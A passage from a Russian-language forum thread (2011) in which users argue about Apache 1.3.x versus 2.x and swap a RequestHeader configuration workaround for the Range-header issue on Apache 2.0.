  • 8.108, Xaionaro (ok), 15:51, 27/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Да я бы с радостью Но у меня выработана некоторая корпоративная этика И если... текст свёрнут, показать
     
     
  • 9.109, Вася Пупкин (?), 18:42, 27/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то ... текст свёрнут, показать
     
     
  • 10.110, Xaionaro (ok), 19:13, 27/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    Я что-то не понял, я разве сказал, что защита на этом базируется Это одна из ме... текст свёрнут, показать
     
  • 10.118, Michael Shigorin (ok), 10:31, 29/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Если Вы делаете такие выводы, то грош цена как раз им Ой, вот только не надо пр... текст свёрнут, показать
     
  • 8.114, Аноним (-), 17:14, 28/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле у... текст свёрнут, показать
     
     
  • 9.115, Xaionaro (ok), 21:51, 28/08/2011 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Я ещё раз повторяю предыдущие такое же замечание было удалено модераторами Я ... текст свёрнут, показать
     
  • 2.117, Michael Shigorin (ok), 10:29, 29/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    > Врут? Не вижу никаких проблем с apache 1.3.x

    У меня такое ощущение уже несколько лет, что какие-то к... колхозники из числа бывших студентов, дорвавшихся до кодовой базы apache-2.0, упор{н,от}о пытаются закопать этот работающий production код, чтоб их поде^H^Wтворение поскорей расползлось.

     
     
  • 3.120, fossil (?), 12:03, 29/08/2011 [^] [^^] [^^^] [ответить]  
  • +/
    >> Врут? Не вижу никаких проблем с apache 1.3.x
    > У меня такое ощущение уже несколько лет

    +100. У меня до сих пор почти везде 1.3.x. Но,
    к сожалению, закапывают они довольно успешно. :(

     

  • 1.119, Аноним (-), 11:53, 29/08/2011 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    У меня такая проблема:
    При использовании SetEnvIf для Apache 2.0 и 2.2:
    выдает header unset takes two arguments
    в строке RequestHeader unset Range env=bad-range
    как починить?

    Apache/2.0.63

     
     
  • 2.123, a (??), 17:18, 06/09/2011 [^] [^^] [^^^] [ответить]  
  • +/
    заменить на
    RequestHeader set Range "badrange" env=bad-range
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2020 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру